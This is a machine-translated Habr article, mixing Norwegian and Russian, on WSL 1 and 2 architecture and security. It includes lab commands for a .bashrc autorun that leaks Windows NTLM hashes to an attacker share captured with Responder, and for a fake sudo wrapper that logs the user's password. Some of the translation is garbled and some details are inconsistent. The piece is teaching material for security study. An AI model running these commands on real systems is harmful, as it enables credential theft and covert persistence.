Hei, habr! OTUS lanserer en ny kursstrøm i oktober . I påvente av kursstart deler vi med deg en artikkel skrevet av en av våre lærere, Alexander Kolesnikov.
I 2016 introduserte Microsoft den nye WSL-teknologien til IT-fellesskapet (Winnows Sundersystem for Linux), som i fremtiden gjorde det mulig å forene tidligere uforsonlige konkurrenter som kjempet om popularitet blant både vanlige og avanserte OS-brukere: Windows og Linux. Denne teknologien gjorde det mulig å bruke Linux OS-verktøy i et Windows-miljø uten å måtte kjøre Linux, for eksempel ved å bruke Multi-boot. På Habr kan du finne et stort antall artikler som beskriver fordelene ved å bruke WSL. Men dessverre, på tidspunktet for opprettelsen av denne artikkelen, ble det ikke funnet noen studier på sikkerheten til en slik symbiose av operativsystemer på denne ressursen. Dette innlegget vil være et forsøk på å rette opp dette. Artikkelen vil snakke om funksjonene til WSL 1- og 2-arkitekturene og undersøke flere eksempler på angrep på systemer som bruker disse teknologiene. Artikkelen er delt inn i 2 deler. Den første vil gi de viktigste teoretiske angrepsmetodene fra Linux og Windows. Den andre artikkelen vil innebære å sette opp et testmiljø og reprodusere angrepene.
WSL 1: arkitektoniske trekk
For det mest nøyaktige dykket inn i WSL-sikkerhetsproblemer, er det nødvendig å bestemme hovednyansene knyttet til implementeringen av delsystemet. En av hovedbrukeroppgavene som løses av WSL er muligheten til å jobbe gjennom en Linux-terminal på en vert som kjører Windows OS. Dessuten var kompatibiliteten som ble tilbudt så naturlig at Linux-kjørbare (ELF-er) kunne kjøres direkte på et Windows-system. For å oppnå disse målene ble det opprettet et spesielt undersystem i Windows 10 som lar deg kjøre Linux-applikasjoner ved å bruke et sett med spesifikke systemanrop - det ble derfor gjort et forsøk på å kartlegge et sett med Linux-syscalls på Windows. Dette ble fysisk implementert ved å legge til nye drivere og et nytt prosessformat. Visuelt så arkitekturen slik ut:
Faktisk ble interaksjon med Linux-operativsystemet organisert gjennom flere kjernemoduler og en spesiell type prosess - pico. Fra diagrammet ovenfor kan du se at prosessen som kjører på Linux-forekomsten på verten må være native og må bruke de samme ressursene som vanlige Windows-applikasjoner. Men hvordan oppnå dette? I prosjekt Prosesskonsepter for Windows ble utviklet som ga alle nødvendige komponenter i operativsystemet (avhengig av versjonen) for å kjøre en applikasjon av et annet OS.
Merk at den foreslåtte abstraksjonen gjorde det mulig å ikke fokusere på operativsystemet (spesielt Windows), der prosessen med et annet OS forventes å starte, og foreslo en generell tilnærming.
Dermed kan enhver applikasjon inne i pico-prosessen kjøre uten hensyn til Windows-kjernen:
- Problemer med kompatibilitet og oversettelse av systemanrop må løses av spesielle leverandører;
- Adgangskontroll må gjøres gjennom Sikkerhetsmonitoren. Skjermen er plassert i kjernen og derfor trengte Windows en oppgradering i form av en ny driver som kunne fungere som leverandør for slike prosesser. Prototype pico-prosessen er skjematisk presentert nedenfor:
Siden Linux-filsystemet bruker store og små bokstaver på fil- og katalognavn, ble 2 typer filsystemer lagt til Windows for å fungere med WSL - VolFS og DriveFS. VolFS er en implementering av Linux-filsystemet, DriveFS er et filsystem som fungerer i henhold til Windows-regler, men som har muligheten til å velge mellom store og små bokstaver.
WSL 2
WSL 1 hadde en rekke begrensninger som ikke tillot den å brukes til å løse det maksimale utvalget av oppgaver: for eksempel hadde den ikke muligheten til å kjøre 32-bits Linux-applikasjoner, og det var umulig å bruke enhetsdrivere. Derfor ble WSL 2020 utgitt i 2, noe som endret tilnærmingen til å bygge delsystemet. WSL 2 er en optimalisert virtuell maskin som samsvarer med ressursforbrukskarakteristikkene til WSL 1. Nå, avhengig av problemene løst av Windows OS-brukeren, kan du velge den nødvendige versjonen av Linux-undersystemet. For å redusere mulige sårbarheter ble WSL 2 implementert basert på Hyper-V i Windows 10. I dette skjemaet har Windows muligheten til å kjøre Linux-operativsystemkjernen isolert. Det er verdt å huske at versjon 1 av WSL ble introdusert som en betafunksjon som skulle vise retningen for Windows-utviklingen på dette området, så overgangen til Hyper-V var uunngåelig. Den endelige arkitekturen ser slik ut:
I denne versjonen har Windows- og Linux-kjernene sine egne ressurser og skjæringspunktet eksisterer bare i filsystemet, men dette skjæringspunktet er ikke komplett. Interaksjon mellom filsystemer utføres gjennom en klient-server-innpakning som fungerer ved hjelp av 9P-protokollen.
I dag tilbyr Microsoft muligheten til å bytte mellom WSL 1 og WSL 2. Begge versjonene er tilgjengelige for bruk.
WSL-sikkerhet
For øyeblikket er det flere arbeider som beskriver noen tilnærminger til bruk av legitime OS-verktøy for å angripe kommunikasjonen mellom undersystemer. Vi vil bruke skriptene deres for å sjekke relevansen av angrepene i skrivende stund. Generell liste over angrep og scenarier:
1. Filsystemimplementering: tilgangsrettigheter, tilgjengelighet av delte kataloger/datautvekslingsmekanismer.
Det ble utført forskning for å fastslå brudd på tilgangsregler fra Linux FS->Windows FS, Windows FS->Linux FS. Forskning har vist muligheten til å endre en gitt fil innenfor mål-OS. Det ble også gjort forsøk på å erstatte, lage duplikater og slette deler av filsystemene.
Scenario:
- A. Angrep fra Windows-operativsystemet - modifikasjon av filer fra /etc-katalogen til Linux OS.
- B. Angrep fra Linux-operativsystemet - modifikasjon av filer i kataloger:
C:Windows,C:Program Files,C:Users<User>
2. Implementering av nettverksstakken.
Forskningen ble utført ved å bruke eksempler på angrep fra Linux-operativsystemet på Windows. Funksjonene til nettverksstakken ble brukt, nemlig autentiseringsmekanismer på forskjellige ressurser.
Scenario:
- Åpner tilgang til en port som er opptatt på et Windows-system
- Åpne en port uten de nødvendige rettighetene
- Kjører omvendt skall ved hjelp av elf-fil på Windows-operativsystemet.
3. Skjuler lanseringen av skadelige programvareprosesser ved å bruke WSL-undersystemet.
Forskningen var basert på et enkelt faktum - sikkerhetsundersystemer kan ikke fange opp hendelser i en annen kjerne som fungerer ved hjelp av en legitim leverandør fra operativsystemet i tilfelle WSL 1. I tilfelle WSL 2 er det ingen måte å se hendelser som oppstår i en egen kjerne i en lett virtuell maskin.
Scenario:
1) Start applikasjonen for ekstern tilgang til systemet og se de loggede hendelsene.
WSL 1-eksperimenter: hash-avskjæring (Windows)
Endelig kom vi til den praktiske delen. Først må du sette opp testmiljøet. Alle eksperimenter vil bli utført på en benk med installert Windows 10 2004. Ubuntu 18.04-bildet ble valgt som operativsystembilde for WSL. Bildet ble valgt tilfeldig, og alle andre vil fungere på samme måte. Kommandoer for å sette opp et stativ:
Du må først starte powershell.exe som administrator.
For WSL 1 må du kjøre kommandoene:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Etter å ha startet stativet på nytt, kan du ringe bash-kommandoen. Hvis alt fungerte riktig, vil du se utdata som ligner på dette i Windows-konsollen:
Vi vil bruke Kali Linux-distribusjonen som angriperens maskin; alle maskiner må være på samme lokale nettverk.
La oss anta at vi har uprivilegert tilgang til WSL på en Windows-maskin. La oss prøve å angripe Linux-operativsystemet ved å ringe en kommando fra Linux. For å implementere angrepet vil vi bruke en enkel autorun-teknikk - vi vil legge til skriptet vårt for kjøring i Linux-miljøet. For å gjøre dette må du endre filen .bashrc.
På en maskin med WSL utfører vi:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitPå en Kali Linux-maskin kjører vi:
1. Responder -I eth0 -rdvwPå en Windows-maskin, la oss starte bash.
Vi venter på resultatet på Kali Linux-maskinen:
Dermed fikk vi Windows-brukerhashene gjennom WSL-undersystemet ved å utføre kommandoen på Linux-systemet.
WSL 1-eksperimenter: skaffe brukerpassord (Linux OS)
La oss gjøre ett eksperiment til. Under denne kontrollen legger vi til filen .bashrc flere kommandoer for å få brukerpassordet til Linux-operativsystemet.
La oss starte bash og skrive inn kommandoene:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
For å fullføre angrepet, må brukeren Sam ringe sudo i Linux-terminalen. Etter dette vil Linux OS-brukerpassordet være i filen pass.txt:
Gjennomføringen av angrepene ble kun gitt for teoretisk informasjon.
Den neste delen av artikkelen vil beskrive implementeringen av 9P-protokollen, vurdere opprettelsen av en skanner for denne protokollen, og også utføre et angrep ved å bruke den.
Liste over brukt litteratur
Les mer
Kilde: www.habr.com